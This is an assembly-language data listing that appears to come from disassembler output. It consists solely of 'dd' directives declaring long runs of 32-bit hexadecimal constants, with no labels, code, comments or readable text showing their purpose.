		dd 164BACCh, 81842A0Fh,	8058EBFCh, 7C929058h, 93662B7h
		dd 2EA433DEh, 0AD020600h, 0B12E8EE5h, 5D09EC32h, 6310409Eh
		dd 0FB5C005Fh, 0DD806CEEh, 0C418CF67h, 6D5049D0h, 91D53C6Bh
		dd 6E20C0DAh, 0E700AE21h, 0D35F657Ch, 3D9BF70Dh, 0B31E2857h
		dd 6CD64738h, 470A0EDh,	6A096822h, 20BF6F36h, 0FE5644C4h
		dd 0F6370F2Bh, 8FC0599Dh, 0EEFCB647h, 0C8D3EF2Ch, 34160A00h
		dd 17D2EA91h, 20ED56h, 51ACC220h, 0FB015896h, 198F85A1h
		dd 9C40F478h, 1C49ABD1h, 81B3F304h, 871A66C3h, 616309Ch
		dd 3802F3Ch, 0D704EF5Ah, 0DDF907EDh, 0B30A1955h, 48CEA396h
		dd 0E2F95B00h, 0BA933828h, 24DC9466h, 0BF1D07D8h, 0E4C942D4h
		dd 3C3E74E9h, 5E351FE4h, 93EA00FFh, 82BB6AA3h, 5B991CE2h
		dd 1C24FFh, 2F217454h, 3A013E25h, 0D771A4ABh, 96605AE0h
		dd 0CC4E002Eh, 80D365FCh, 7800294Fh, 5169EF93h,	7733BCDh
		dd 0F1A1E538h, 0CF4DE05Ch, 7A71ED6Bh, 82D84000h, 0C75A4697h
		dd 7CC10001h, 643BEBD9h, 9E00242Ah, 0FD91C65Ch,	3E035737h
		dd 4980BC55h, 1AFBF98Eh, 400E5E2h, 1B66EE17h, 274EF8h
		dd 9579C1E8h, 81972D98h, 0ED3B9E70h, 3090D10Dh,	1B3930B6h
		dd 0E9B30518h, 54C167ADh, 7360C388h, 10D60917h,	88397CFh
		dd 0FAD07420h, 949C38B9h, 865A8500h, 4AA1032Ah,	7B54D08Eh
		dd 33704E25h, 0EC970E00h, 2D370A8Dh, 0DAA0009Eh, 0A5C44004h
		dd 93003DB0h, 0E6CC2F24h, 4FDFCB9h, 2ED0C71Ch, 308CFC45h
		dd 0FED278C2h, 0E4AA00F0h, 0E7E29AEFh, 430161A7h, 6B38793Ah
		dd 288E996Dh, 0B000C246h, 0FEC1D2CFh, 9723FB00h, 9E02EC88h
		dd 0AAFD0109h, 6AC2796Fh, 958450CDh, 2980C5C9h,	9B00037h
		dd 0AEFAA2D3h, 0B4FCF314h, 81A5B102h, 41265EA1h, 10212C3Eh
		dd 0D2ABD8h, 0B48FC90Ah, 0C5CA2483h, 0DEC73C13h, 0B8BCA0E0h
		dd 98EF7352h, 41FC0258h, 23D590Eh, 6C006C58h, 830BDBE2h
		dd 30EE81A7h, 804EC8F2h, 20392FC0h, 97AB9FB5h, 9FC45B00h
		dd 15CC59h, 0F652AE07h,	93E9A8D8h, 2E171D00h, 6A252BDAh
		dd 372400E6h, 41C7AA49h, 530F5F3Fh, 6034B60Eh, 9FA1AE33h
		dd 46D30B8Bh, 5C52A72Fh, 66217117h, 49527200h, 18F3EFB4h
		dd 30B1F175h, 4228F54Fh, 0BA9094F6h, 0A77BB401h, 0EE84E85Bh
		dd 0B03BB171h, 9E007491h, 5C2B8089h, 1CD86E2Eh,	3E87EDBDh
		dd 0C05B12BEh, 0DEFEAA2h, 0C9BA0807h, 22206C92h, 177DFE23h
		dd 930446Bh, 6068FB28h,	84116334h, 48002AF4h, 0E737A5Dh
		dd 0A9091E01h, 61E80345h, 53F50D8Ch, 7F18E3F0h,	78EA07h
		dd 26798869h, 0DCBC674h, 0ACD6ED00h, 5B49C5Dh, 0D7890E8Eh
		dd 0C724A5D8h, 3C04D0E2h
		dd 0C500B5FCh, 0CA2326DCh, 1192BD5h, 0E0BF0EA8h, 0FEEA174Dh
		dd 0AD0E6C5Ch, 0E00BB6C4h, 0C700097h, 1D020F7h,	80C3954Ah
		dd 74882583h, 0A04FDA7Ch, 7AB9D009h, 3C43E010h,	0CC078928h
		dd 7186E3CFh, 70F1C85Ch, 0DD027EE8h, 39B83B93h,	0DCF6C0C0h
		dd 6FA0102h, 412CF526h,	9BCBF867h, 0CB1FF0Bh, 1CC085D5h
		dd 0C042E600h, 6728A075h, 51C65A2Bh, 3AFEBF1Eh,	7C04F012h
		dd 600ABD4h, 5F59DCB0h,	0DF426301h, 16513521h, 4841B5C4h
		dd 0DF50019Dh, 690D00D9h, 89BC40F2h, 93005323h,	0E80110F9h
		dd 0D2DBACh, 3EC61AF0h,	206D1B5Ch, 3580F400h, 0F60A0B5h
		dd 0EA210E5Bh, 7D40DD89h, 0C9E0383Fh, 23A4CD00h, 0FB304548h
		dd 0E1F833h, 74BBD070h,	0C9D154Fh, 0E9B0C87Fh, 7520D600h
		dd 0C90D58EEh, 0F0590B51h, 6600DA21h, 0D923A312h, 0B0012A7Ah
		dd 82D2581Fh, 0A7C13908h, 0A96BF8DFh, 5B130024h, 2BBD3B8Fh
		dd 690021C1h, 31B07F84h, 4C9909E9h, 740028E2h, 18F6F101h
		dd 5A0027C8h, 0CA226F03h, 56D542h, 1236A150h, 77E23720h
		dd 877CC500h, 5AEE67A7h, 130C0CAh, 5F5DD045h, 9D064800h
		dd 1ACE7E25h, 0F94F0794h, 102E6F9Eh, 82B823C0h,	2426AE00h
		dd 69523FEBh, 0D2AF0005h, 9E8B72C5h, 2D0017B9h,	0CDA38C6h
		dd 165FA0BCh, 0E6631Bh,	44BA4F99h, 85005CADh, 3A2A89E9h
		dd 0FB0AB2h, 781BD008h,	0EA0A2ABh, 8F4E473Fh, 53AAB575h
		dd 190DB000h, 0C0309Dh,	0BDBCD2DCh, 479C5148h, 6701A87Ch
		dd 0CD01E60Fh, 45ECD415h, 2EE203CFh, 0FB200EB0h, 38F36FD8h
		dd 49056E1Ch, 599BE100h, 18AB9935h, 65FEDB0h, 0BF00205Eh
		dd 337EAC50h, 0FB70C9Ah, 638BA2B5h, 3A7787h, 32B6DB16h
		dd 8ED45C1Ch, 0E1ECF200h, 39CE7Ch, 0ADF04DCCh, 72D8C8D2h
		dd 411EAE00h, 7B2F57CBh, 0FC347C75h, 32B00007h,	0A6F405CDh
		dd 9004C7EBh, 29DA20A3h, 0E11C8F80h, 0A99DA068h, 8AD80F2Ah
		dd 0F4C0D22Eh, 856D5E8Ch, 0ACBCCF00h, 2D53EA87h, 771E3EC7h
		dd 0E1E63A80h, 0E016BBBAh, 2E332500h, 81359DD0h, 83E20067h
		dd 0E43D440Bh, 8F00A353h, 0BA323FD4h, 0B0DF7FB6h, 0D04F39BDh
		dd 68F63301h, 70E35B87h, 0E5007E0Dh, 0E0992E28h, 15D352Fh
		dd 8EBA7BB5h, 806719D9h, 41705718h, 4C9BB4h, 18AFF011h
		dd 2266AEF4h, 0FF9BC3Bh, 0E05F6DCFh, 9C32D856h,	0E3D0923Eh
		dd 90C3CAFDh, 0E43AA9D4h, 0B8DCDAh, 72881482h, 93007A3Eh
		dd 0E60C9EFDh, 1EEC11B2h, 0C1241CA3h, 4FD943E0h, 514E30D1h
		dd 0F4192701h, 21367181h, 1CA4FCC8h, 40A6F613h,	9978A059h
		dd 5A7C29EFh, 16D85F03h, 0B870B09Eh, 173B74h, 973E224Ah
		dd 76A73C24h, 8C829200h, 0C915E36Ah, 28BD3E29h,	80D80172h
		dd 379AB156h, 1C25CCC7h, 57D095h, 0FC6A2E03h, 563D62CBh
		dd 2217D300h, 8D7084B6h, 18CF6087h, 0A334ED23h,	47DF2400h
		dd 1C92E696h, 0F31758D4h, 0EC657B00h, 2AEB4985h, 4888F351h
		dd 8B0025B8h, 0F55993FAh, 18649E50h, 8A8858AAh,	0DB00E9AFh
		dd 728229FFh, 1890A23h,	0CC8580BBh, 0F0DEC165h,	4D2E2484h
		dd 0AD00299Dh, 7FFB506Eh, 0E783008Eh, 0A376ECA5h, 0F94C2E94h
		dd 24A700A8h, 0EF7C23D8h, 28DB0353h, 0D318292Ah, 91584AD0h
		dd 369B4602h, 608A5AC0h, 0FE64BD94h, 11E76068h,	9157935Eh
		dd 0EACE2900h, 82F7AAB2h, 99B626DCh, 3E91C78h, 866365C8h
		dd 4970BCB0h, 21F31100h, 0C41DDAE0h, 0E58FA7Fh,	0E743B393h
		dd 2F92FCh, 61AACC74h, 0D03FDD4h, 0D0FA4946h, 5ADDE1EEh
		dd 1B973BC0h, 48AC912Ah, 4388F6BBh, 1D0F5821h, 207C288Bh
		dd 1FD44CFFh, 0A438C1D1h, 0DC75FC55h, 72077BE5h, 2A529563h
		dd 623A2CA2h, 6EE60094h, 0F28AD8Fh, 1CDC434Eh, 3674E900h
		dd 31F0F47h, 446CDB64h,	5A72300h, 98BBC3EBh, 30FC00C6h
		dd 3E0D43B1h, 0E60033ADh, 357798C1h, 0ED37ECh, 0B51DCEE7h
		dd 0BA65BF92h, 0C009C98h, 50B16881h, 58C078C1h,	0F0018DF2h
		dd 665ECA71h, 5463C20Ah, 0A49E2EC0h, 0ECAA291Eh, 0A262C1C0h
		dd 9834D635h, 2BB805F8h, 0C0F19279h, 9C4F510h, 25913A00h
		dd 9F51EEBBh, 0D40E0330h, 8AB25C26h, 2C80C7BAh,	0B464E462h
		dd 8E0B90C0h, 34BBA95h,	205A73CEh, 89E99C0Fh, 0D487201Eh
		dd 0AA52CF00h, 8E8444D2h, 38BF607Ah, 6C5BA421h,	9D00E97Fh
		dd 3779FAE3h, 23FB01h, 2BB52DC4h, 2462DB07h, 0F23E9400h
		dd 8CCFBB09h, 0BC9A5C12h, 4B10007Fh, 0AD32619Bh, 3BF28735h
		dd 0D5AA0409h, 54820005h, 6B414Fh, 0A6148931h, 0A8E322BCh
		dd 0E70FA207h, 8CE09961h, 193CE2DDh, 0A8B06A59h, 70C725Eh
		dd 46B733FEh, 0F0811BF5h, 0F1F06D25h, 0C0C10039h, 7E242C12h
		dd 52051397h, 0B25BF664h, 0C4428F80h, 10264844h, 0DEB62D00h
		dd 0BD43CD65h, 18A86109h, 85400086h, 3C6F5B7Fh,	0F4803BF0h
		dd 0DC58A583h, 81001B35h, 6AA2EFD2h, 4842FE5Ch,	0A300A7C3h
		dd 9B10BEF7h, 200091E9h, 43A1301Ch, 0BF315Eh, 7A33EFD9h
		dd 0F05B693Dh, 0F1167200h, 0E44D840Ch, 9D621FBFh, 70B4F2Eh
		dd 6D53BEC0h, 0A93BBA71h, 33E60092h, 0DE0E97EBh, 18F5001Ah
		dd 1BFF41B8h, 0A50089B3h, 0A27C82BCh, 38C5367h,	158FFC1Fh
		dd 0F20E9802h, 0A02240F5h, 27CA5CD3h, 0F7093DBBh, 0D450C200h
		dd 0E9F2A52Dh, 0E82F411Ch, 995F3780h, 13B1A90Bh, 8EDBAh
		dd 0BBD50A5Bh, 0A2381CC4h, 5C9A80A4h, 5E514B03h, 0E22F0053h
		dd 78D334D8h, 3903ACF1h, 0AF8E0264h, 60F7D235h,	0BFDDFAh
		dd 3F03C54Ah, 0CD7AC06h, 892B6100h, 0FD05503Eh,	10B00035h
		dd 845C25BEh, 67B837Eh,	3958ED5Ch, 3E3D0067h, 681EFEE0h
		dd 0C83500EAh, 0E75FB64Bh, 0AB72030Eh, 0F6EC8A70h, 26D0863Bh
		dd 0DC246884h, 55458F00h, 178BF7h, 6CCF445Eh, 6DF59AF6h
		dd 0FB6FB400h, 1F4C1A71h, 0A8C80007h, 0DD09FA70h, 16C03D58h
		dd 0C141ED26h, 909F483Bh, 4064E21Dh, 5620A02Bh,	3870AB13h
		dd 74620B26h, 0F01C9016h, 803BC202h, 0F628403Dh, 65CA00E7h
		dd 93455A9h, 0E59A5F2h,	3C611994h, 5930C238h, 0FE660012h
		dd 2C6E0502h, 43004984h, 856BA659h, 92096E7h, 0F80CDD4Ch
		dd 7D6FF880h, 0BE1FEB90h, 31C05A72h, 4E733BE6h,	791A00D5h
		dd 0FFA7A2ACh, 4200AEA5h, 548CB422h, 71CD304h, 55838F64h
		dd 91AE4C26h, 76FCB000h, 8EA6454Ch, 920E0080h, 0B44BEE59h
		dd 0C1F2BC8Dh, 0C4E40926h, 0C90E7E28h, 0E06D0D03h, 0D322A2ABh
		dd 0FF7017Bh, 0C816E067h, 0D8BECD12h, 4C0066EBh, 0DD144297h
		dd 0D13DB9h, 2C44FCE2h,	0E6014B07h, 8C0F6C70h, 20AF70C5h
		dd 0FD220CC8h, 74AC00E0h, 0EE85B723h, 0B47216D4h, 0EA15AF12h
		dd 7ABA0C00h, 7393652h,	6ED3E7FAh, 5A81005Fh, 50008929h
		dd 0FF7B8E0Ah, 4D5E0h, 0C8067146h, 1B5C10F8h, 19D39F1Dh
		dd 0D2006B5Eh, 59EF2AEEh, 0C6061348h, 6C380098h, 38A304A9h
		dd 343EFE26h, 62CDE500h, 0A0442009h, 2CEB81B2h,	12293h
		dd 84C62EA9h, 9500DC79h, 0D3DFC5F1h, 9C3B541h, 925F3420h
		dd 9127E85h, 901037F8h,	0D912253Fh, 0C040E061h,	702A8A7h
		dd 5905001Fh, 49C6841Bh, 0C42EC510h, 0E6005F26h, 0CDE7A97h
		dd 86589D4Fh, 0DC2B58h,	0D938B2E4h, 0FA1AF747h,	499707C9h
		dd 405E6791h, 0DC20A215h, 0B6FD2700h, 86AD44ABh, 0E7420974h
		dd 0C78318E1h, 709FDAF3h, 83DC856Eh, 44A94D17h,	50DE6506h
		dd 0C37B0060h, 9D453FF2h
		dd 330058A2h, 9967058Eh, 9153613h, 0BD2A0881h, 75854E60h
		dd 0C639980Fh, 16DE217Fh, 4ACDA73Dh, 0B29CED0h,	402CAA73h
		dd 0DF7E6080h, 0ADF68866h, 0BFA871Dh, 6E93B880h, 1DF09E23h
		dd 4BBB8111h, 0D8A1E119h, 0F84EA2D1h, 6300C27Eh, 40AFD03Ch
		dd 7D277C9Ch, 0B57F8Bh,	0D7DFDAADh, 8C43CA07h, 607AA100h
		dd 3B752AF7h, 981C01E5h, 32DF0B7Dh, 902C49h, 74A93EF3h
		dd 2639DBh, 415CE22Dh, 3FA359CBh, 88A17B00h, 0EAAD7164h
		dd 6F3906FFh, 588D1BB7h, 1BC7C49h, 8C862199h, 2303151h
		dd 0C1300A3h, 8C214FBh,	773E3A26h, 7628022h, 478F57A5h
		dd 0EAF804CBh, 80505863h, 9F54CC40h, 1B04348h, 0E2F68224h
		dd 81F4168Dh, 0CFD00096h, 89A69079h, 82022645h,	0C51FF3F4h
		dd 6C70402Dh, 8A6100BEh, 68798F56h, 9900B40Ah, 36FF8130h
		dd 13E4F491h, 0CAAC49h,	82EF9424h, 740E567Eh, 208AB683h
		dd 52639ACFh, 9CB4006Ch, 0D46F4826h, 0BA00ABB8h, 0A91FB971h
		dd 0EAF793Dh, 0F211B4C5h, 182EB894h, 2BF40064h,	56E76D39h
		dd 6FF690Eh, 377FC7CBh,	34DDB770h, 19B1012Dh, 7AF56F8Fh
		dd 875880B9h, 75BC841Fh, 473500F0h, 397CDD42h, 0DC737394h
		dd 77B02EE9h, 85FC49h, 50FEA4AFh, 380AA39Fh, 19A22E00h
		dd 7415BAFFh, 65C900FAh, 0D9EEF640h, 0D60050ACh, 0EF03BD2Fh
		dd 0B2619E77h, 8BA70504h, 0ACCB804Bh, 790005Fh,	0E82CFC49h
		dd 3CF61Dh, 5B970CE4h, 695D1291h, 9DDD4D3Bh, 57802E0Eh
		dd 0EAC1E28Bh, 0F72E073h, 1B8768CEh, 67A317A1h,	62B4DC12h
		dd 2B43EC1Eh, 0F84ECC40h, 0BAA14B9h, 23C2D427h,	460033D0h
		dd 8F3CC501h, 0F82B91h,	4D2A19DBh, 62890922h, 631EE70Eh
		dd 0A4DCE6A5h, 0EF31256Ch, 0FD9CAEh, 0DE50230Bh, 94006A66h
		dd 4BF976CCh, 8C8528h, 0CDE4DB45h, 6C05D8D1h, 83B42901h
		dd 7AB1C9BBh, 4DD9C0h, 70DEEF8Dh, 0E679A082h, 0F0235800h
		dd 0F31209B7h, 7C14005Ah, 0CA360499h, 1B7ED4D0h, 95962C00h
		dd 31C6D6BCh, 0AFA05021h, 0B6735018h, 1DA770FBh, 492EE2B6h
		dd 0E449EA3Ch, 0A4988004h, 0AF74FD55h, 3F6CEE63h, 9E809AF0h
		dd 0DF642633h, 4E00F2B1h, 491552EDh, 28F05674h,	509051D5h
		dd 7D9CC38h, 5766801Dh,	498C40A7h, 20CF50BAh, 4F24A020h
		dd 0FE93DC2h, 25D2B613h, 0CBA73CE0h, 3909F07Dh,	809D64CDh
		dd 0FCB94886h, 0DEEB1857h, 0B67B4008h, 836E5A0Eh, 0B9AC6099h
		dd 4B0ACC3Fh, 15B80075h, 5BD48D53h, 0E46A9A06h,	380DD9h
		dd 0E9668F4Eh, 0BCE54F71h, 0E303D200h, 0BF341CAh, 281E00BEh
		dd 0F57DD530h, 6773B951h, 75DCED01h, 1BB357CFh,	0C07E1182h
		dd 0BC1AE58h, 86827h, 64E62AA1h, 1E4F9CF1h, 678B560h, 109D5005h
		dd 0BBDC4D50h, 2108752h, 479BD4ECh, 0A5C10062h,	0F93A4945h
		dd 21B8C35h, 0E64FD0E5h, 4E473E90h, 0A260C680h,	0A948769h
		dd 393E28CCh, 553089Eh,	661D19ACh, 0CF103C0h, 72E0B2Fh
		dd 0E327FD28h, 0B387E047h, 0A4E4954Eh, 0BEBC0C00h, 0D6696A48h
		dd 8A1A00C3h, 57F7E7E2h, 2100BFB6h, 7B33963Bh, 7F3B798h
		dd 4C5A6E67h, 0A91B50A8h, 3F078327h, 5D99F608h,	9D703397h
		dd 7D6E4Ch, 8D51C835h, 99C430E4h, 0F10D75Ch, 20D9CF87h
		dd 0CA28BA37h, 44170095h, 0E7C89F2h, 430E7B99h,	4D5587h
		dd 582DFCC3h, 97280014h, 0E2676CF8h, 0FB05E14Ch, 40C0BE9Ch
		dd 0A1F99000h, 79520141h, 0E4A20CC6h, 6B0858CEh, 498021C0h
		dd 78C52A01h, 0F05B0084h, 8E94C704h, 0E6000885h, 0AD317B8h
		dd 1BC4950Bh, 18750E6Ch, 1B56823h, 0C65F013Eh, 896D1828h
		dd 3E173087h, 0A3A4930Fh, 56A500F8h, 7207C6B3h,	7A60C3EBh
		dd 31064766h, 0E3A0E7D8h, 64020C18h, 5978814Eh,	91F83751h
		dd 3F80B080h, 30C65C01h, 8257448Ch, 72014706h, 1961236h
		dd 0CCC0D50Fh, 2542A36Bh, 0DA404090h, 0F30358EFh, 0F0D09E44h
		dd 4320035Eh, 0FA664741h, 0AF192900h, 0F563ADD9h, 66427278h
		dd 211C0885h, 0D9972703h, 0F0ACF75Bh, 1C83287h,	0D85623D0h
		dd 850D7F07h, 8A940AD8h, 1BE7B440h, 3BE1A6Eh, 0D2FE4E32h
		dd 88004F6Fh, 75C20E12h, 0C0E0CE65h, 78D8A93Eh,	89009FCFh
		dd 0C2E468EBh, 0F76205Bh, 11FE8C1Ch, 9E51E260h,	0A003907h
		dd 8B9534E9h, 4F1BEFh, 44DB243Ch, 8C1F4AE8h, 594BCF0Eh
		dd 42398096h, 0EBA952Bh, 7602436Fh, 0E7E33BA0h,	810EF12Fh
		dd 40B03117h, 0AB7C6695h, 0E42C00DEh, 3C0B4BBDh, 0F9009FBFh
		dd 0A6AD60F7h, 72F6B39h, 0CAEBD9B6h, 1AF2200Ah,	3007DDAh
		dd 225952F3h, 0DEB22Ch,	47AAF0C9h, 0DB8582D1h, 0ACA03600h
		dd 80C1B4B6h, 0C96300F8h, 0E86E965Fh, 31C0E95Eh, 0DD0A4554h
		dd 73C203E5h, 0F36EF697h, 0F13DDEE0h, 0C900EFE8h, 9570416Bh
		dd 183AD29Ah, 18C488F7h, 8D008CF0h, 4F0421DCh, 2C75BF28h
		dd 0EC3178Bh, 61C0D250h, 33690B09h, 2C00C4B8h, 7270E3CCh
		dd 0C2B39A5h, 0C1F7CB37h, 0C43FEF88h, 596587FFh, 3E50A98Ah
		dd 0DC1CA6h, 6C0BF1CFh,	4486A8E1h, 0DB8BC418h, 10EA81h
		dd 87DA9769h, 603851DDh, 0A70027F0h, 428A496Fh,	0F315E9h
		dd 0DCD8B85Dh, 6C78D6ACh, 0C65EBA00h, 0E9685FC5h, 0D118C125h
		dd 0F8EABC75h, 61D8D076h, 80C2D520h, 697DCC7Fh,	6C84A550h
		dd 7102F4EAh, 51E9CAEEh, 4CA8AFCEh, 1E1D1BAh, 682B691h
		dd 0C0A93915h, 9F75486Eh, 0F44A160Ch, 0E62429ABh, 260F017Fh
		dd 0B5505D7Eh, 0E07086EAh, 60AB15h, 2A6F53Dh, 408734FFh
		dd 4EB0A800h, 0E528FC98h, 3DF800C6h, 460CBAA7h,	550053F6h
		dd 0D15FD24Bh, 6A2617h,	6C6708Eh, 0F53F46CDh, 0B47FBF00h
		dd 6CF9DB4Ch, 0CFD9015Eh, 0E8ABDE41h, 26C1F371h, 5099D728h
		dd 1957D41Fh, 2A9ED70Eh, 85EA203Dh, 725A4Dh, 50BDF9C0h
		dd 0E755C92Eh, 0A2D0E500h, 6BEF2C84h, 672B3072h, 0D13CAC0Ah
		dd 0BACD9A00h, 51B1EECAh, 0CC4D048Eh, 80836DC8h, 0E5E40DA5h
		dd 682B983Dh, 0DE5504D0h, 0AC4F2100h, 0AB88FC8Dh, 14C75219h
		dd 60564FC3h, 0AC011073h, 28C0C6E8h, 32D4A92Fh,	8E190B80h
		dd 6B006303h, 9C8151Fh,	292E5832h, 0A84F101Bh, 881EE588h
		dd 378927D4h, 0AD447108h, 0A32284B1h, 11234226h, 0BD21AB3Fh
		dd 903AFB08h, 0BE1784DFh, 850494Ah, 8B903C70h, 4AB50B84h
		dd 0D2081475h, 84E79033h, 4148991Ch, 2434DF42h,	0C3EC4193h
		dd 46C8F16Ch, 0ED7200E0h, 0A4F964BBh, 7500E548h, 0FF1AC1ECh
		dd 0FB9AF5Bh, 0D10E5DCAh, 4BA6DBC3h, 71447F0h, 9FDE4D00h
		dd 0C4D4C0BBh, 708400B2h, 2D7AADFh, 38EAC816h, 0C94E3B1Dh
		dd 0B90BA00h, 0D07292h,	7CA2D258h, 0BC0A7919h, 741AF100h
		dd 4FBB6069h, 0DAB20061h, 273E836Eh, 590E202Eh,	0ACA5941Fh
		dd 0F431024h, 0A7299DF5h, 855FA400h, 3403ACE5h,	99E66C1Fh
		dd 36989878h, 0D4940111h, 2974075Bh, 65C3CCB0h,	0DE660100h
		dd 0F10681B7h, 16F00015h, 0E6A0C7EEh, 0FCFEAAB9h, 0DA65100h
		dd 0D56DBDF4h, 21190328h, 0B6F01049h, 7685F087h, 0D00A006h
		dd 43469A0Eh, 0DAF584h,	670B81A5h, 314C765Ch, 3B8C7439h
		dd 246985F4h, 41C03299h, 1395018h, 79487FF2h, 0C0729E30h
		dd 0B0000BBBh, 0C546F747h, 2D548Ch, 44D8385Dh, 528E6790h
		dd 9A744C00h, 0DE859207h, 0A070098Dh, 1D748h, 6E675AFEh
		dd 765DF0h, 53B0C71Dh, 8B019711h, 9CCD64C1h, 38B019AAh
		dd 4E612D58h
		dd 33DB4300h, 32B2E6DEh, 0AEE3171Fh, 272A0FA4h,	18585200h
		dd 0F1127FD9h, 0C44F8C31h, 14B5CD72h, 3595CCh, 0D3E7D667h
		dd 76D94E6Bh, 8CB1B601h, 68B33C5Fh, 14F8F860h, 0E00B9A28h
		dd 5B972400h, 6A2284B7h, 0E51DC400h, 823B6EA6h,	80C30026h
		dd 0ADCC46BAh, 8BEACB41h, 1029BE00h, 0DC629FA0h, 560701F1h
		dd 2ACCA9C5h, 0F5CFCCB7h, 75DE6407h, 4AA02D71h,	1B4380E8h
		dd 0F06E79FAh, 0DBFC3590h, 0F5300400h, 69755BC2h, 329F002Fh
		dd 0ECADF2A7h, 1B0038B4h, 0EF50F1D6h, 42F348h, 0D51CAB0Dh
		dd 0B813CFF2h, 5701F87Ah, 7769EFBh, 0E840E26Ch,	486FE8Ah
		dd 0A7399212h, 7548C003h, 6606A86Bh, 0A9CCE4D7h, 266D1728h
		dd 7D980EDCh, 0B51CBD80h, 0C1383BAFh, 6CCE07A3h, 0B1E0B30Ch
		dd 0EC3F73D1h, 540600A0h, 0D05BB08Bh, 8E009650h, 0B79CD777h
		dd 5A8F40h, 0B90C2797h,	2C986076h, 38893Ah, 6EC233C6h
		dd 0E7E990Fh, 1BA50964h, 0CF444040h, 0A9006C88h, 0C0678E3Ch
		dd 32F271h, 12E829BFh, 9B81E385h, 0F6AE7D01h, 82B8FFC9h
		dd 1DEFB030h, 409611BDh, 759A9362h, 0CE0052C1h,	0D3C5427Ch
		dd 990128h, 35AA4A5Eh, 0E44F1220h, 0F081A728h, 0D342F901h
		dd 38FE648Fh, 1D4AC0h, 2C453A8Eh, 8E73C2Bh, 8D116B00h
		dd 45D1A13h, 783401B7h,	4CF1D76Fh, 902280h, 272FC172h
		dd 0B88BD489h, 60787E88h, 5E5686E6h, 2200C84Ch,	38BBCCE0h
		dd 1AD893h, 116708F9h, 9E1F5231h, 2F71B5E8h, 79874314h
		dd 0F3261FE8h, 0C0897E8Fh, 3499D865h, 72E9EEB8h, 6B04009Ah
		dd 3C7C7718h, 4D00B4A6h, 6E09BC31h, 4A720BEh, 58A11B59h
		dd 0ECA2C07Dh, 400007FBh, 0B5016291h, 1F01C9Eh,	0DDB186D7h
		dd 0DC053A92h, 320065FDh, 0DA06D5B4h, 0FAB66EBAh, 93EB3016h
		dd 0DE870B30h, 0AB21E400h, 3C5CC241h, 25B200F1h, 43E045AEh
		dd 3E01659Ah, 0B77B4A82h, 2AE46B18h, 907458ADh,	0F705D002h
		dd 1C604D81h, 190FDE2Dh, 405185DBh, 1BDF2A72h, 768300E1h
		dd 7ABE260Bh, 18008EF2h, 8D5FA0DAh, 1CDCEC50h, 4EBBCF63h
		dd 5C09F0C8h, 42A16400h, 130034FEh, 3B11EB4h, 0ED7BE6h
		dd 0BA66370Ah, 98F1934Dh, 36061500h, 8792CFBCh,	640109CDh
		dd 807A726h, 18B08510h,	0D582DC96h, 47569F09h, 1C28A094h
		dd 0F14D25h, 0BF93A385h, 9198E0DBh, 7D9CCE00h, 0C9B5A89Dh
		dd 728F00F5h, 7E227BADh, 0FA136A18h, 0CF00C5DCh, 859357D0h
		dd 3F9F0E6Fh, 35803677h, 67833190h, 83C84E3Dh, 0DFB4C74Ah
		dd 7DD800B5h, 0A48E010Eh, 1C98E92Fh, 5B9E6303h,	808A60A2h
		dd 0C0F68497h, 4A4B9F18h, 0C0077440h, 0B496EC3Eh, 0F910A31Fh
		dd 9C76E86Fh, 0C2904Ch,	0FE9D5C0Fh, 0D6890C88h,	7D8DE600h
		dd 0A221AB73h, 0FD50136Ch, 5D3004C7h, 56F4A024h, 0FE44AC00h
		dd 5D83781h, 0E0D7857h,	5A01891Ch, 0EBC0401Dh, 64549EB4h
		dd 79D38102h, 42FF0BBEh, 0BE2F7BCh, 7A997C60h, 34233603h
		dd 0A1E15951h, 7ED4D5FAh, 41E7000Bh, 8B9679FEh,	8C009408h
		dd 3753320Fh, 7480EBDh,	0F65CE560h, 0C1432551h,	3001C05Ah
		dd 27BE8E0h, 0E4242528h, 0D09A1E2Eh, 0BA041C00h, 15BB1D5h
		dd 0E402FDDDh, 6025EC34h, 230BD4A8h, 0E4AC8E8h,	813A43F4h
		dd 0B7B5C86Bh, 16F7000Ch, 2C86B0F3h, 0B960EA58h, 0F518F229h
		dd 7E7BECFAh, 0CE2F008Ch, 612181EFh, 0D53A5396h, 0B3580BDh
		dd 0B544E013h, 0C3E5C5Dh, 0F93F6800h, 0A0D727CFh, 0BDF231Dh
		dd 85F33040h, 0B0650C15h, 7D400FD4h, 0DE606DA8h, 70B0635Ah
		dd 0B2EEF490h, 0A3D54803h, 98CAC6FBh, 14F3AA0h,	0B9F566ADh
		dd 0E40AB199h, 0DBF9021Eh, 53304EF0h, 0CCD2500h, 0E449A0D5h
		dd 5BE13C6Eh, 0F355F600h, 86AD1C5Ch, 0D2FB9A07h, 3DB38180h
		dd 9702E004h, 1EDD0042h, 696BDFB3h, 8D00B6FAh, 8F922781h
		dd 1F5DAh, 0A7760E40h, 5F67C3DBh, 944B961Ch, 0AA0F8281h
		dd 78E41E6Dh, 0D5076A8h, 0B358CE8Eh, 0C957C848h, 433AAA00h
		dd 107E3D90h, 0DFBC3094h, 20656821h, 7BD2A808h,	8A268098h
		dd 0F4DFA20Dh, 0C825E201h, 4A066EE9h, 93FCC0F5h, 60F01477h
		dd 8D00DCABh, 0CA831824h, 0E5094074h, 0A54606h,	0EA0FFB64h
		dd 8A7B1DBDh, 1789806Ch, 563B5F2h, 0AD31A100h, 2BBD97Dh
		dd 0FFD0072h, 8C12519Ch, 9F00CA1Fh, 10678604h, 3D30281h
		dd 70FB0DFFh, 8B9884B1h, 11093759h, 20A8D119h, 3A09DA7Ch
		dd 489015h, 58C853FAh, 0EFB2D31Fh, 96C78312h, 0BE0A581Ch
		dd 0D800F3CDh, 79E85F9Bh, 0F41901F2h, 0FAEA299Ch, 690EB8Fh
		dd 0CB244EF3h, 6D00907Ch, 0BB41B3D9h, 24EF00F7h, 6B805C25h
		dd 0AE06322Fh, 6FD3C8A8h, 697C0060h, 6E9464EFh,	0E3005107h
		dd 63B0F97Dh, 15005EBh,	0A6E06ADAh, 9D69D144h, 81C37EAEh
		dd 0B8EF68B8h, 185C2817h, 28959614h, 6E079229h,	3EAD1AF2h
		dd 1DEB6150h, 0A42D017Dh, 0F77BC69Ch, 11CC2064h, 0D300CFB8h
		dd 0B3AAE71Fh, 2D782A7h, 1245A822h, 74C067E4h, 1D12980Fh
		dd 940031ACh, 583D44CAh, 0B3900020h, 0C0198BF3h, 0C00988Fh
		dd 0BDFAE9EEh, 0A6B496Fh, 8B61D3EAh, 0D2B5029Dh, 44C8D6BCh
		dd 0A20065C1h, 8CD785A1h, 0C07C9CC4h, 0B48F963Ch, 0E807284Ch
